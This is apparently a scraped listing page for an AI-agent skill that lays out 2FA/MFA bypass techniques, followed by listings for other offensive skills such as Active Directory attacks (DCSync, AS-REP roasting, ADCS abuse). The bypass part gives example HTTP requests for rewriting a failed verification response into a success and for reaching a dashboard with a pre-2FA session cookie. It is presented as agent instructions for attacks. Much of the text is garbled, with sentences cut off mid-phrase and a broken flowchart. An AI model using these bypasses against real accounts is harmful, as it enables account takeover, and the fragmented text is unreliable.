Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
インストール方法を見るインストールする前に、エージェントに与えられる指示の中身を確認できます。
# Concept: 2FA should be an unbreakable mathematical barrier However, developers often
# implement the logic Common Flaws :
# 1. Response Manipulation: Altering the server's boolean response .
# 2. Status Code Manipulation: Changing a 401 Unauthorized to a 200 OK 3. Direct Object Reference (Incomplete Auth): Navigating 4. Token Reuse/Predictability: 5. Rate Limit Missing: ```
### Phase 2: Exploitation via Response Manipulation
```http
# Concept: The server sends a boolean indicating if the 2FA code was correct 1. The Intercept (Attacker enters a wrong code: 000000) POST /api/v1/2fa/verify HTTP/1.1
Host: target.com
{"code": "000000"}
# 2. The Original Response HTTP/1.1 401 Unauthorized
{"success": false, "message": "Invalid code"}
# 3. The Manipulation (Using Burp Suite 'Match and Replace' or manual interception )
HTTP/1.1 200 OK
{"success": true, "message": "Authenticated"}
# Result If the frontend exclusively handles the 2FA state ```
### Phase 3: Exploitation via Direct Routing Bypass (State Mismatch)
```http
# Concept: Sometimes, after validating the password the server sets the primary session cookie BEFORE the required 2FA 1. Login POST /login HTTP/1.1
{"username": "victim", "password": "Password1!"}
# Response HTTP/1.1 302 Found
Set-Cookie: session_id=abc123validthing;
Location: /2fa-challenge
# 2. The Bypass Instead of following the redirect GET /dashboard HTTP/1.1
Host: target.com
Cookie: session_id=abc123validthing;
# Result ```
### Phase 4: Exploitation via Token Guessing / Brute Force
```text
# Concept If a site ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Compromise ] --> B[Encounter 2FA Challenge ]
B --> C{Does ]}
C -->|Yes| D[Test ]
C -->|No| E[Check D --> F[Bypass ]
2Fa Bypass — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
日本語の概要は準備中です。原文の説明を表示しています。
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
日本語の概要は準備中です。原文の説明を表示しています。
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
日本語の概要は準備中です。原文の説明を表示しています。
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
日本語の概要は準備中です。原文の説明を表示しています。
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
日本語の概要は準備中です。原文の説明を表示しています。
Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain without executing code on the target Domain Controller.
日本語の概要は準備中です。原文の説明を表示しています。